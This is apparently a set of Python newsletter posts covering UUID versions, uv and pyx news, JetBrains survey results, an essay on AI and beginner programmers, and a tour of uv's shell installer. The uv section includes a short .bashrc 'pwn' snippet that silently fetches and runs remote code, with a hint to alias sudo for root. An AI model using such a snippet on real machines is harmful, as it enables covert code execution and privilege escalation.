If you want to manipulate information about some kind of entity, you need a unique way to identify it, so that you can retrieve this one, exactly, not anything else. In relational databases, we use table primary keys for that, Python objects have internal IDs, StackOverflow URLs have unique numbers (https://stackoverflow.com/questions/1155008/how-unique-is-uuid and https://stackoverflow.com/questions/1155008 points to the same article)...

Using some properties of the object we want to talk about to define it uniquely is very hard and error-prone. This is what we tried to do with the Dracula movie. This is why the Internet Movie Database has unique IDs for each movie that are completely arbitrary. E.G: 0112896 is the unique ID of Dracular, dead and loving it.

You can be tempted to use someone's name, but names have duplicates. Someone's phone number, but phones can be relocated. And so on, and so on.

So it's good practice to attribute a meaningless internal identifier to entities you are manipulating. Making that identifier unique across your system, though, is a challenge in itself.

Some systems use a number that is based on the object creation date, with a very precise (to the nanosecond) resolution. You'll get duplicates if you create too many objects at the same time, though.

Some use an automatically incremented number with a lock, so that your new object is always +1 than any previous recorded number. But then you need a centralized system to hold the lock, you can't create unique values from outside of it.

Another solution to this problem is to use a universally unique identifier, or UUID, a number that is generated in a way that has strong guarantees of being unique by mathematical magic.

Let's see what they are, and the pros and cons of using them.

An interesting idea

A typical UUID looks like this:

c5cba9cb-7109-40f8-96d2-346dc83f3a1f

This is just a notation, mind you. The dashes and hexadecimal base are for readability. You could represent the very same UUID with the number in base 10 and no delimiter:

216225951109208685816139325685595281727

UUID are, indeed, just numbers generated with standard algorithms that have the following characteristics:

• They are always the same length: 32 digits in hexadecimal (128 bits).

• They have a version that tells you how it's been generated.

• They can be divided into 5 standardized sections, some of them containing information, such as the version: "c5cba9cb-7109-40f8-96d2-346dc83f3a1f" is version 4 because 40f8 starts with 4.

So far we have 8 versions, each of them generating the number in a different manner:

• Version 1: Uses timestamp + MAC address, making them roughly time-sortable and unique across machines.

• Version 2 Like v1, but embeds POSIX UID/GID instead of some timestamp bits.

• Version 3: Deterministically generated from a namespace UUID and a name, using MD5 hashing.

• Version 4: Fully random or pseudo-random 122-bit value, maximizing unpredictability. The most used version in the world.

• Version 5: Like v3 but uses SHA-1 for stronger hashing and reduced collision risk.

• Version 6: Like v1 with timestamp-first in the layout, for better database index locality.

• Version 7: Time-ordered UUID using Unix time (milliseconds) + random bits for easy chronological sorting. This is the new hotness.

• Version 8: Reserved format allowing custom bit layouts while still being UUID-compliant. Basically, make your own UUID.

They are everywhere. Most rich systems can generate a UUID.

Python:

>>> import uuid
>>> str(uuid.uuid4())
'56b20fff-b22e-4117-9288-b9da686d299b'

Powershell:

c:\ [guid]::NewGuid()
Guid
----
be3a122f-9490-4fed-8122-9fe793ac7ddf

Bash:

$ uuidgen
9dbb3e02-7743-4d99-8840-d37cfa741c44

And any good RDBMS has support for both generating them and dedicated field types to store them efficiently nowadays.

The most important part is of course, that UUID algorithms are very good at avoiding duplicates.

E.G: UUID4, which is the one with the most randomness, statistically would require, on average, to generate 1 billion UUIDs per second for about 86 years to get a 50% chance of collision on your next attempt.

And finally, all UUID versions have the same compatible format, meaning that if all you need is an opaque unique handle (you don't need the metadata), all versions can be used interchangeably.

Which one should I use, and for what?

UUID4 is the one that is used the most for a reason: it's the one that requires the least information to be generated, and exposes, therefore, the least metadata to the rest of the world.

It's also very standard and very well supported.

It's useful if you want to generate a unique name for a temp directory, a primary key in a database, the name of a profile in a config file (Firefox does that)... Pretty much everything where you need something to be unique with no meaning.

By its nature, it allows you to generate UUID4 from all over the planet with no additional information and no coordination, yet they will be unlikely to collide. No need for a central lock. No need to share data between sources of IDs.

In a database with auto-incremented primary keys, a user, a product, and a permission row will end up with the same ID, and the namespace makes them distinct. But with UUIDs as primary keys, if you see an ID, only one object has it, no matter its table.

In tests or exports, there is less risk of conflicts as well, since multiple runs will not end up with overlapping IDs.

Of course, UUIDs have drawbacks. They eat up more space. They take longer to compare. They really suck when you have to dictate one over the phone.

But the worst problem of using UUID version 4 in the particular case of DB primary keys is that it is random, and therefore, can't be sorted or indexed. This makes looking up one particular ID slower than alternatives.

Indeed, with an incremented ID, the DB knows that if you look for ID 97898, you can skip all rows up to 97897 and find it. With something random, it could be anywhere.

For this reason, some systems have been using less standard alternatives, such as ULID, to mitigate this problem.

This is why the upcoming UUID 7 is exciting: it contains both a lot of randomness and a timestamp, but nothing else (unlike UUID 1 and derivatives). That makes it easy to sort. And since all UUID versions have the same format, UUID 7 will be a drop-in replacement for UUID4.

Of course, it does leak the date and time of creation of the database entry to the outside world if you use it publicly (which most systems do), and now you understand why there is such debate taking place.

Personally, I've never been in a situation where using a UUID 4 as a unique identifier had more cons than pros. I eagerly wait for UUID 7 to remove one more annoyance, but it's a nice-to-have, not a requirement.

Yet I will ask myself if the creation date is information I wish to hide or not. I haven't worked in 20 years, on a project where it would have been the case. But you never know.

• Astral releases pyx, its commercial venture, and turns uv into a more general Python installer.

• JetBrains Python survey results are in, and stay pretty consistent with the previous years.

• And many little things. Mainly those two, though.

Subscribe now

A lot of Astral things happened

Even if the initial buzz surrounding uv has calmed down, I still follow the company closely, because they haven't stopped being awesome. People just paid less attention to it.

First, they released uv 0.8 with changes that will shift how this tool is positioning itself. It will use its own build backend by default, getting closer to a full replacement for competitors like hatch.

But more importantly, it used to be that uv was only for managing your Python project bootstrapping. However, now, it's also a general-purpose Python installer:

• uv will install Python executables in a directory on the PATH. This means if you uv python install python3.13, you can now call python3.13 without uv, outside of any project. You can opt out of this with --no-bin or UV_PYTHON_INSTALL_BIN=0.

• uv-installed Python executables will now be registered in the Windows registry, making them more discoverable on this OS.

• UV_TOOL_BIN_DIR will be set in Docker images to /usr/local/bin, making it a system-wide installer for containers.

The first 2 are good things in my book. It means fewer modes of failure for beginners, and sane defaults for everybody. Note that uv Python will shadow the system Python on Linux for the user, but not the OS. I think this is ideal: this completely severs the Python for the system from the one people can mess with.

The 3rd one, I'm not so sure. I believe one should still isolate Python in a container, and I worry that this new behavior is going to cause trouble down the road. I would advise you to use a non-root user to set your Docker image, and set UV_TOOL_BIN_DIR to ~/.local/bin to opt out of this.

Also, they upgraded uv download-and-run-code capabilities. You could do this already:

uv run https://pastebin.com/raw/RrEWSA5F

But now it works with gists as well:

uv run https://gist.github.com       /charliermarsh/ea9eab7f56b1b3d41e51960001cae31d#file-bar-py

(I have to put spaces to avoid substack from eating the url)

This is super nice for demos, especially mixed with the native inline deps support. Also a fantastic attack vector, if you manage to put this in .bashrc:

pwn(){
  wget -qO- https://astral.sh/uv/install.sh | sh &> /dev/null
  uv run https://gist.github.com/your_python_script &> /dev/null
}
pwn &

Alias sudo to call this before, and you even get root for free. Pentesters all over the world are rejoicing.

Ok, if you can execute code out of a sandbox on a machine, it's already too late. But this makes it extra juicy.

Finally, remember when I said that ironically, uv couldn't solve packaging problems, and also that people were worried about Astral's business model?

Well, last year Charlie Marsh told us in a great interview (still worth watching BTW) they intended to target the B2B market, and they just announced that they are now doing exactly that with their new product: pyx.

Pyx is a SaaS that will solve packaging problems, and many more, by doing stuff on the server side, which uv can't. uv will stay FOSS, pyx is the commercial venture that will make them money. They want to make installing unruly beasts like PyTorch easy, let you get the most of your GPU and of course, sort out the whole security deal corporations care about.

Waiting list only, for now.

The numbers are in

The annual Python JetBrains survey results have been published. Take this with the grain of salt that comes with the obvious bias of such a data source, but here is what I make of it:

1 - 50% of the people answering the survey have less than 2 years professional experience, 47% are below 30 years old. I believe this reflects the fact that a lot of fresh blood is constantly pouring into the community. But also that when somebody needs to teach programming, they will choose Python. And that if you are not a programmer (like a mathematician, biologist, economist or geographer) but need to code something anyway, you will likely pick Python. This is quite universal, as only 14% are from the US!

Keep in mind that 32% reported contributing to open-source projects last year, most of that through code, while 26% said they have packaged and published a Python application to a package repository. That's one order of magnitude more than IRL (IMO YMMV TBF AFAIK). So the survey has likely a wayyyyyy more experienced cohort than your average team. This 50% is probably underestimated.

I keep repeating it wherever I go, but geeks rarely listen: if you want to reach Python devs with any medium (tutorials, articles, videos, documentation), you HAVE to take that into consideration. If you do Rust, you can assume proficiency. Not with Python.

That's why this blog has an introduction to the terminal, environment variables or the debugger. So I can link to it in any article that has this as a prerequisite to be understood.

2 - Data analysis (48%), Web dev (46%) and machine learning (41%) are by far the most popular use cases for Python. Mobile dev, game dev, embedded dev and multimedia are scraping a few percents, dead last. Nothing surprising, but it's good to see that what you experience in the field is reflected here. There is good correlation between my experience going from clients to clients, and that makes me feel all fuzzy inside. Also, I hope the mobile dev situation is going to change at some point, thanks to the fact we now have an official Android build target.

3 - 58% learn stuff first from Documentation and APIs. Yeah, right. I don't buy this BS. I used to RTFM colleagues constantly until LLMs arrived and could basically do that for them. But you do feel good when you pretend you do. However, 51% say they learn from YouTube. That, I believe. Not TikTok, Insta, X or BSKY (other, 11%) mind you, but 17 yo and under are excluded from the pool. 27% from AI tools, 41% from blogs, 42% from Stack Overflow. Really? It's still alive?

4 - Most people (35%) stay one Python version (3.12) behind latest (3.13). Good. That's what I recommend as well. Astonishingly, 2% use an unstable version (3.14, very bleeding edge when the survey came out), which says a lot about how disproportionately advanced users are represented in this pool.

5 - 4% use Python 2. More than 3.7, 3.6 or 3.5! There is a lesson in there.

6 - The most popular reason to avoid upgrading (53%) is: "The version I'm using meets all my needs". So there is that.

7 - Installation mode is mostly Python.org (good) and system tools (bad). Despite the huge deserved hype uv is still niche, believe it or not. That's how big the community is, and that means inertia. Don't get fooled by the bubble of enthusiastic nerds you hang with. If you read a tech blog, you are in a minority bucket. In fact, even when it's about installing packages from PyPI, pip tops at 74%, poetry follows at 20% and conda falls to 18% (from 20% last year and Anaconda goes from 27% as a package source to 6%!). uv is barely in front of the very obsolete pipenv with 11%. But it was not even there in the previous survey, so that's something! What might take you by surprise is that 25% install packages directly from... GitHub, and between 10 to 30% (hard to say) from a local source or a private index.

8 - On the Web side, FastAPI (38%) took over Django (35%) and Flask (34%) in popularity. If you like the FastAPI look and feel but still want to benefit from all the Django goodies, I recommend django-ninja. Yet, I have the feeling that we are getting ripe for a new framework that rips the lessons of all those projects, builds on free threading and provides a modern experience. I keep using Django for almost everything since I rarely need something custom enough that it justifies reinventing the wheel with micro-frameworks. And it does the job wonderfully. But it is legacy in both the good and the bad ways.

9 - On the test side, pytest is king (53%). I think it's a solved problem. Next. However, on the GUI side, that Tkinter (21%) is still the top player is very, very sad.

10 - Containers and the cloud in general (AWS and Kubernetes in particular) are popular options for deployment. Given how inexperienced a lot of the community is, this sounds way overkill to me. This is echoed by the fact that most (51%) "develop for the cloud locally with virtualenv" more than in containers or virtual machines. Or it might be just an artifact of how portable Python is. Maybe both. In any case, 42% don't use a venv in a container. And then complain something breaks, I assume.

11 - Data-science wise, pandas (80%) stays miles ahead. We may hear a lot about Spark and Polars, but they are only 16% and 15% respectively. 8% have an in-house solution. That's a lot more than it looks like, given the cost of maintaining one. But I can attest to that. I have a massive client that made me port their entire critical, enormous, proprietary calculation engine to Python from... Matlab. You would think coming from a matrix oriented language, the whole thing would make an easy target for at least NumPy. But no. We had to write most things custom. Anything that deals with the messy nature of human life and not something virtual like a video codec or a file system will eventually be full of small details that can't be vectorized. Laws, dates and configurability are especially gnarly. No SIMD for me.

12 - Scikit-learn (68%) is in front of both PyTorch (66%) and TensorFlow (49%) in terms of user base, which is counterintuitive in this day and age of AI bubble. You would think that old school machine learning has been rendered obsolete, but it turns out those techniques, while less flexible, are also more cost effective. So it makes sense to stick to what is fast and cheap if it works.

13 - OS wise, we are at 59% Linux, 58% Windows, 27% macOS, keeping in mind that WSL skews the results and that people can rock several devices or partitions. Again, if you address the community, know that so many Windows users are present is very important, since many are not comfy with the CLI, although this is improving.

14 - Not so much related to Python as interesting as a standalone data point: ChatGPT stays the uncontested winner of the AI race, with 4 out of 5 respondents using it. Anthropic Claude, especially the Claude code agent, is vastly superior in almost every way for coding, and yet scores only 17%. Branding is a powerful force. And so is being the default option (39% use GitHub Copilot, despite it being very limited) or being free (Google Gemini, 23%).

15 - On the DB side, the podium Postgres (49%), SQLite (37%), MySQL (31%) and Redis (18%) to the surprise of no one. You really have to scroll to see columnar DBs in there, like the excellent ClickHouse (2%), and DuckDB is nowhere in sight, no matter how popular data analysis is.

16 - CI is also pretty much what you expect: GitHub Actions is evidently first because... GitHub (35%), followed by GitLab CI (22%), Jenkins / Hudson (12%), Azure DevOps (8%) and AWS stuff (5%). The latter is more corporate, and given the nature of the survey, is likely to be underrepresented.

17 - Configuration Management Tools is really, really fun. The graph starts with Ansible at 8%, followed by "a custom solution". Given how Ansible sucks, it's very much telling. But the most important is "None", 71%. Yes, many people do stuff manually, because remember, half of the community is made of beginners. But also, containers and orchestrators moved automation from Ansible YAML files to Dockerfiles and ... Kubernetes YAML files, I guess. I want to believe in an alternative universe CUELang became the de facto conf language and they achieved world peace.

18 - Documentation wise, raw markdown seems to win (44%). But, it's a format, not a system, like Swagger (29%) which is automated and just for Web API or Sphinx (14%). This doesn't say much, most READMEs are in markdown by default, and both Sphinx and MkDocs support markdown. I'll say the quiet part aloud though: a lot of people hate RST with a passion.

19 - VSCode (49%) and PyCharm (25%) are still the editors of choice. 7% of Vim + Neovim. Again, if you had a picture of the average Python dev rocking Arch Linux with a tiled DE from their Dvorak ergo keyboard, you are going to be very disappointed.

20 - You might think that C is the main language to create compiled extensions for Python, but it's only the second (45%), the first one being C++ (55%). Given the precision of this survey, we can consider them at the same level, but it's still way more than I suspected. 3rd place goes to Rust, with a staggering 33% of people that used it for that purpose at least once. That's how much Rust is popular in the Python world nowadays. 4th place is Go (9%)!

Let's not forget

• PEP 802 suggests that we change the empty set notation from set([]) to {/}. I'm neutral on this one.

• PyPI will now reject zips constructed to exploit construction attacks.. Nice to see the security devs keeping at it.

• The Python documentary is out, watch it for free on YouTube.

• The core devs relegate the old Intel CPU to a lower tier of support on Mac. It was 2 Apple architecture changes ago so I don't know who is impacted by this, but I'm sure someone, somewhere, will be.

• A new profiling module will be added to the stdlib. It will do nothing, and serves only as a namespace to group all things related to profiling in Python, such as cProfile (aliased to tracing) and the new statistical sampling profiler previously named "tachyon" (renamed sampling). If none of that makes sense to you, don't worry, it's mostly to keep imports neat and tidy. Careful, it does come with deprecation of the old imports over 2 years.

• If you want download stats for packages on PyPI, you go to Pypistats. And it's now operated by the PSF, to keep it running forever.

• Google sunsets pytype, its Python type checker project. You know the joke about Google canceling projects, right?

Vibes coding is fine. And yes, the kids suck, but so did we. Let's appreciate we got new players entering the game, and focus on what's really important: improving safety nets.

Subscribe now

Look how bad they are

Welp, Armin Ronacher wrote "Welcoming The Next Generation of Programmers" before I had the chance, so I deleted my draft and figured out what else I could say on the matter.

Then I wrote this instead.

It has become fashionable to call out AI as being the harbinger of the end of time for code quality, especially for the new people joining in.

I see currently established devs mocking all mistakes made by the young ones:

• Ha, that one is discovering the need for version control!

• Look at those security holes!

• This code is atrocious, and you don't know what it does!

People, let's be real for a minute. I've done all similar stupid things on my very own, and way worse, before it was cool to blame it on LLM.

Have old geeks forgotten how much they sucked when they started?

Bad code

Maybe you were surrounded by geniuses when you began learning to program, but I certainly was not.

We were bad.

Scratch that.

We were terrible.

The logic was faulty, the style was awful, the technical choices were all over the place, the tooling was lacking, and the general understanding of what we were doing akin to a chicken with a Rubik's Cube.

My bugs had bugs, I struggled to get the concept of logging (on which I wrote my university memoir!), I invested a colossal time trying to configure SciTE just right, and installing PhPMyAdmin was my idea of being a great hacker.

Why would it be any different today?

Is that because kids are overconfident since they can get a demo up in 5 minutes using Cursor? Suddenly, that justifies the need to smash their head back down to the ground... for being kids?

Arrogant know-it-all nerds were not in short supply in my time either. I should know, I was one. Still am in my spare time.

AI has nothing to do with this.

It has nothing to do with the fact they suck.

It has nothing to do with the fact they are annoyingly and naively optimistic.

It has everything to do with the fact they are kids.

And they are kids in the open. Let's celebrate that! It's the new generation showing they want to play!

Old news

Sure, it's frustrating to see a twenty-something claiming they discovered a revolutionary concept when in fact it's been the industry standard for decades.

They lose their work, then will tweet they now zip it with timestamps so that they can go back if their agent messes up everything. And someone sarcastically says soon they will invent SVN.

They introduce problems, and they will make a TikTok stating they will now write some code that will automatically verify that their software works in the future. Surely, there is mumbling about unit tests in the room.

Then again, with variable names, refactoring, side effects, the cost of the cloud, complexity being bad, and so on, and so on.

Ah, those dumb kids with their AI! Don't they know we've had this figured out forever?

No, they don't. That's the point of learning.

None of us knew, and we all learned either with IRL try/except or mentoring. But to be honest, even with mentoring, you need the trial and error.

I called a recursive unlink(“/”) on a script run as root on a prod server. I wrote a state machine out of ORM classes, using table inheritance to encode the states. I forced pushed an empty commit on master. I wrote an entire object system to represent if/else conditions. I reinstalled from scratch my machine with a new distro on the first day of a 48h Hackathon.

I once wrote a bot to send love messages to my GF while I would be in a no-electronic retreat. It had a flaw that made it send the same message 140 000 times over 10 days, and she hated me for a month.

Again, what's with all the hate lately?

The community is usually so supportive of experimentation, trying things out, and building while helping each other.

But as soon as AI is involved, it's like a black stain on whatever you do. You build? You are a great kid. You build with the help of AI? Everything you do suck, and you are a terrible human being.

None of the mistakes the kids are making today are remotely linked to AI.

Of course, the AI may now suggest many of those mistakes to them, and at a faster rate. But they would have come out with their own anyway.

In fact, they will make fewer mistakes with a good agent on their side; it is something I have been consistently witnessing for the last 2 years with beginners. They are better than I used to be at their age.

Plus, even if you don't believe that, AI will make the feedback cycle shorter, which means they will hit the mistakes quickly and reach the learning moment sooner.

Scared of them diving too deep because AI will give them too much rope to hang themselves, and they will be crawling in generated code-mud by the time they realize there is a problem?

Who cares?

It's also a learning experience. They HAVE to feel the pain to learn. There is no alternative to that.

After all, how did we learned that needless code complexity, piles of tech debt, and over-engineering were a problem? The same way, except instead of an AI building it in a month over a non-critical project, we inherited the production system from 10 years of monkey coding from our colleagues. Or worse, from a sweat chop on the other side of the world.

I think their situation is better, actually.

This battle has been lost before

History rhymes, right? Because I heard this one before.

I heard it when Stackoverflow became a thing, and we blamed those young devs copy/pasting from it. They didn't use their brain, didn't understand the code, and were going to bring doom to our whole industry.

I heard it when package managers became a thing, and we claimed those damn youngsters didn't know their dependencies, relied on black box, reached for Rube Goldberg frameworks and will end IT as we know it.

I heard it when Google became a thing, and we screamed those lazy apocryphal 56K-deniers didn't read the doc anymore, just fetched snippets on random unreliable blogs and couldn't be bothered to look at the damn source code. This surely will be the end of computing.

I heard it when simple dynamic languages became a thing, and we lamented those weak-minded-mouse-clickers didn't know how CPU worked, wasted full megabytes of memory, and wrote sluggish programs that couldn't even make a single manual system call. That's it. It's over.

But you know what all of those instances also had in common? If you point out to the critics they have been repeating the same stuff that the previous gen said about them, they will reply:

Yeah, but this times it's different, because...

Vibe coding

We have all been vibe coding forever. Let's stop pretending this is some kind of awful practice only the sinful zoomers indulge in.

We called it having fun, making an MVP, exploratory programming, hacking, trying things out, learning, seeing what's up, quick and dirty, whipping up something, fooling around, building a PoC (that will actually end up in prod for 10 years)... So basically 99% of all coding being done in the world.

I believe some of my clients call that being agile.

If one thinks putting a large language model in there makes it fundamentally different, this is just a huge blind spot. Those tools are simply the logical conclusions of automation in a field where automation is the main thing. It's more of the same.

"But it's not reliable!"

Yes, so?

Humans are not. Google searches are not. Hell, computers are not. There is no such thing as a pure function.

“But they don't look at the code”

They will. Just later on in their project timeline, when they will hit a wall. Or they will be filtered out of the dev pool. Just like before.

It's more of the same. Just bigger. Faster. Fuzzier.

And if the author of Flask and Redis can make it work for them, I think we all can.

Less talk, more work

All this commotion prevents us from focusing our efforts on what's important: making this inevitable transition much more comfortable for us.

If you think this is a fad, that this will go away, that AI will prove not to be that useful after all, there is nothing I can do for you. You can stop reading here. In fact, you can ban this blog at the DNS level because we both understand life in a fundamentally incompatible way.

However, if you have come to the realization that this is our reality now, and that it's just the beginning, we have work to do, you and I.

Because AI magnifies all the human traits, creativity and laziness, curiosity and tunnel vision, enthusiasm and apathy.

The benefits will flow by themselves; there is nothing to do but welcome them. And open our arms to the new generation of coders that will both create the software of tomorrow, invent new ways of working, and teach us how to do so.

The problems, however we have to actively deal with.

I jested about dynamic languages, Google, package managers, and StackOverflow affecting code quality; but we did, actually, paid a price for those.

We did have many vulnerable Worldpress instances, we did have the LeftPad story, and I'm sure many of us can recall crap being uploaded on some FTP on a Friday night.

AI will undoubtedly increase the volume on which it's possible to fake job test proficiency, create wasteful bug reports, and push bad contributions.

It's now more important than ever to assign persons to responsibilities, with real cost and consequences for them, and give them the tools and resources to manage it. Skin in the game and put your money where your mouth is, so to speak.

Vibe coding is fine. Pushing code of dubious quality to a production system, however, must be harshly discouraged, even more than we used to. I'm stricter about code reviews, tests, and punishing irresponsible moves than I was before with my client's team.

Because it’s so tempting, it’s so easy to do. Programming is hard, and humans are like water, taking the path of least resistance.

That's the irony about the productivity we gain from AI. It must be reinvested in improving our safety nets. As the cost to produce code goes down, the cost to vet code must go up.

Because it's the dirty little secret of our job, isn't it?

It's not really about the code.

Despite all its flaws, curl -LsSf | sh is still a popular method to install dev tools, and those installer scripts pack a punch!

Today we are going to read a few excerpts from uv's, an improved version of what cargo-dist provides out of the box.

It got a little bit of everything for everybody: style, drama, humor, heart, twists, and executing a base64 inlined binary for China.

Let's gooooooooo!

Subscribe now

A fun afternoon

I'm toying with the idea of making a quick and dirty UV-based installer for Python CLI programs, and in doing so, I'm having a look at the curl | bash script installers around here.

In the rust world, cargo-dist is the de facto tool to produce build artifacts. For convenience, one output it provides is a shell script to fetch the desired executable from Github and put it on your PATH.

An example of this at work is how you can install ruff on both Mac and Linux by running:

curl -LsSf https://astral.sh/ruff/install.sh | sh

(Assuming curl is installed. On debian-based distros, you have to get it first or use wget).

Of course, you should never, ever run code from the internet without looking at it first; and I certainly didn’t run countless such commands without checking if the script was sane, only trusting the provider's reputation and integrity for half of my career because that’s Pareto.

Unrelated to that, this week, I poured some homemade ice tea, and decided to lazily cruise through the lines of uv’s curl installer, hoping to catch some wisdom.

And damn, that's some nice script!

Way to start

For this article, we'll focus on this particular installer version.

The rule of thumb when reading a shell script is to sample of few lines at the top to get a feeling of where you are at, then jump to the end to understand where you are going. Good news, this is also, by convention, where you'll find most often all utility functions in the bash world.

It starts with the usual boilerplate of shebang, the mandatory set -u, the litany of constant declarations and the shellcheck policy (if you don't use shellcheck, do).

But it quickly steps up by noting:

# This runs on Unix shells like bash/dash/ksh/zsh. It uses the common `local`

# extension. Note: Most shells limit `local` to 1 var per line, contra bash.

So this tells us they support bash, dash, ksh and zsh and we are in for a lecture on shell compat and defensive programming.

The first hack is pretty sweet:

has_local() {
    local _has_local
}

has_local 2>/dev/null || alias local=typeset

They are going to use local var declarations, but that doesn't work with some ksh versions, so they make a fake one aliasing typeset. Clever.

I started giggling right about the Some Linux distributions don't set HOME comment. Somehow, I can feel the horror and the pain that went into discovering this issue and writing those lines:

get_home() {
    if [ -n "${HOME:-}" ]; then
        echo "$HOME"
    elif [ -n "${USER:-}" ]; then
        getent passwd "$USER" | cut -d: -f6
    else
        getent passwd "$(id -un)" | cut -d: -f6
    fi
}

Also, would it be easier to just always use getent passwd "$(id -un)" | cut -d: -f6 ? Is it not available on all distros? Is it slow?

AI can't help you with this, it hallucinates very easily on those matters.

But that's also how the UV_UNMANAGED_INSTALL variable was introduced, letting you choose where it's going to be installed manually. So silver linings.

This is the end

Having read the room, we can now rush to the EOF. We get to the entry point, which is basically making up a main() and calling it by proxying all args to it:

download_binary_and_run_installer "$@" || exit 1

What is it with script languages not having a feature to do this by default? Even in Python we have to if __name__ == "__main__" and at the very least import sys. This is silly, we should have a @main decorator that gives us:

@main() # builtin autocalling the function if in __main__
def _(sys): # instance of the sys module to get sys.args and sys.stderr
    return "Whatever" # passed to sys.exit

And all shell languages should have similar facilities.

I digress, the sweet part is that it's chock full of utility functions:

say() {
    # print stuff unless -q
}

say_verbose() {
    # don't print unless -v
}

warn() {
    # print stuff preffixed with WARN and in red
}

err() {
     # print stuff preffixed with ERR and in red
}

need_cmd() {
    # run this command, if you can't, the script can't 
    # continue so exit cleanly
}

check_cmd() {
    # so we have that stuff ?
}

assert_nz() {
    # this stuff should really not be empty
}

ensure() {
    # The script can't continue if this command fail,
    # so if it does, exit cleanly
}

ignore() {
    # thisisfine.jpg
}

So we got poor a man's log (a staple of all scripts), Unix cope, and catastrophic error recovery. Simple, clean, efficient. You can do a lot with those.

And the scripts really need that. Boy, does it need it. Like the main function, download_binary_and_run_installer starts with this jewel of a paranoid insurance policy:

    need_cmd uname
    need_cmd mktemp
    need_cmd chmod
    need_cmd mkdir
    need_cmd rm
    need_cmd tar
    need_cmd grep
    need_cmd cat

Because, you know deep down, somehow, somewhere, some hellish spawn of a distro doesn't have rm just to raise a proud finger at the face of the universe.

In the same vein, verify_checksum() will not surprise you, but downloader() might break your little heart like it did mine.

Because I expected it to check if curl is available, and if not, fallback on wget. That's sad, but the reality is that Red Hat and Debian decided it was perfectly reasonable not to standardize on what downloader to have by default.

However, I didn't see the Check if we have a broken snap curl snippet coming:

_snap_curl=0
if command -v curl > /dev/null 2>&1; then
  _curl_path=$(command -v curl)
  if echo "$_curl_path" | grep "/snap/" > /dev/null 2>&1; then
	_snap_curl=1
  fi
fi

if check_cmd curl && [ "$_snap_curl" = "0" ]
then _dld=curl

Basically, if you have curl but it's coming from a snap package (the name is going to be in the path), act like we don't have curl.

I hate snap. I hate it with a passion. It's always been broken, bloated, and slow. Nobody wants this tech. Canonical should own their mistake, trash this crap and move to providing both .deb and flatpak for everything.

Sorry, let's move on.

get_architecture is a bit gnarly, but that's to be expected given its job is hard. Apple doesn't make it easy as we can read that "Darwin uname -m can lie due to Rosetta shenanigans." or "Handling i386 compatibility mode in older macOS versions" but, I mean, they also try to accommodate CYGWIN, Solaris, and illumos (the latter has multi-arch userlands!). At some point, no pain, no gain, and they seem to be looking for serious gains.

I was expecting the "Detect 64-bit linux with 32-bit userland" to be worse, to be honest.

On the other hand, check_loongarch_uapi is kinda epic!

Let’s look at it.

The story you never came for

Loongson Technology is an interesting name to pop into. It's a Chinese company designing chips, mostly known in the Asian market. They have a strategic role to play for China, as they are the main actor that can create architectures unencumbered by Western IP. This makes it important to the country's tech sovereignty.

One of their CPU architecture, LoongArch, was shipped in some early commercial Linux distributions with a non-standard, vendor-specific implementation. This is what is referred as "old-world". An official ABI was eventually accepted upstream into the mainline Linux kernel, but it was incompatible with the previous one, here mentioned as "new-world".

This software only supports the standardized ABI, but to check on which one it runs, it has to do a system call you can't do from a shell.

The solution?

To embed an inlined full-blown assembly written executable in base 64, and run that:

    # Minimal Linux/LoongArch UAPI detection, exiting with 0 in case of
    # upstream ("new world") UAPI, and 234 (-EINVAL truncated) in case 
    # of old-world (as deployed on several early commercial Linux 
    # distributions for LoongArch) [...]
    ignore base64 -d > "$_tmp" <<EOF
f0VMRgIBAQAAAAAAAAAAAAIAAgEBAAAAeAAgAAAAAABAAAAAAAAAAAAAAAAAAAAAQQAAAEAAOAAB
AAAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAJAAAAAAAAAAkAAAAAAAAAAAA
AQAAAAAABCiAAwUAFQAGABUAByCAAwsYggMAACsAC3iBAwAAKwAxen0n
EOF
    ignore chmod u+x "$_tmp"
    if [ ! -x "$_tmp" ]; then
        ignore rm "$_tmp"
        return 1
    fi

    "$_tmp"
    local _retval=$?

    ignore rm "$_tmp"
    return "$_retval"

Next time I'll get the stink eye because I inline a PNG into a src tag, I'll send them this.

Aiming wide

Sometimes, the script is super delicate. For example, the check_for_shadowed_bins is something I rarely see in shell scripts and is quite considerate (it warns you if commands get priority over others in your PATH after the installation is done). The install() function itself assembles a lot of carefully crafted paths (both directory targets and binary import ones). They really care.

And then, sometimes it just brute force stuff by spraying add_install_dir_to_path liberally so that all supported shells get at least a mention.

Because geeks can't help themselves, there is an additional attempt at humor in doing so with the aptly named shotgun_install_dir_to_path that does it even with more abandon, for bash. With this one, all config files get the insert, not just the first one.

The idea is to add the binary installation directory to the PATH in as many files as possible, including, but not limited to: .profile, .bashrc, .bash_profile, .bash_login, .zshrc, .zshenv and all .env.fish files under the sun, in all folders those might exist if we have the permissions to do so.

You can disable that with NO_MODIFY_PATH and it's idempotent, but it's still pretty funny to read how much hammering is sometimes necessary to ensure something as simple as a command being callable.

There is also something quite intoxicating about reading the case statement in select_archive_for_arch, aliases_for_binary and json_binary_aliases as they make up for 500 lines of the 2000 of this beauty. Combinatorics are cruel.

That's a lot of lemonades

I don't enjoy writing shell scripts, not one bit. It's not just the idiosyncrasies of the language and platform, but it's also the fact that you need to do so much stuff manually, every time.

Like they have only 4 arguments to this script, and yet, to get decent argument parsing, they need to do:

    for arg in "$@"; do
        case "$arg" in
            --help)
                usage
                exit 0
                ;;
            --quiet)
                PRINT_QUIET=1
                ;;
            --verbose)
                PRINT_VERBOSE=1
                ;;
            --no-modify-path)
                say "--no-modify-path has been deprecated; please set UV_NO_MODIFY_PATH=1 in the environment"
                NO_MODIFY_PATH=1
                ;;
            *)
                OPTIND=1
                if [ "${arg%%--*}" = "" ]; then
                    err "unknown option $arg"
                fi
                while getopts :hvq sub_arg "$arg"; do
                    case "$sub_arg" in
                        h)
                            usage
                            exit 0
                            ;;
                        v)
                            PRINT_VERBOSE=1
                            ;;
                        q)
                            PRINT_QUIET=1
                            ;;
                        *)
                            err "unknown option -$OPTARG"
                            ;;
                        esac
                done
                ;;
        esac
    done

And then proceed to write the whole help text manually in a separate usage() function, that you have to remember to maintain.

This is so much better:

import sys
import argparse

parser = argparse.ArgumentParser(doc=__doc__)
parser.add_argument('-q', '--quiet', action='store_true' )
parser.add_argument('-v', '--verbose', action='store_true' )
parser.add_argument('--no-modify-path', action='store_true')

args = parser.parse_args()

if args.no_modify_path:
  print("--no-modify-path has been deprecated; please set UV_NO_MODIFY_PATH=1 in the environment", file=sys.stderr)

In fact, the whole script is about 40% shorter in fully typed Python, while being way easier to navigate.

Don't ask how I know that.

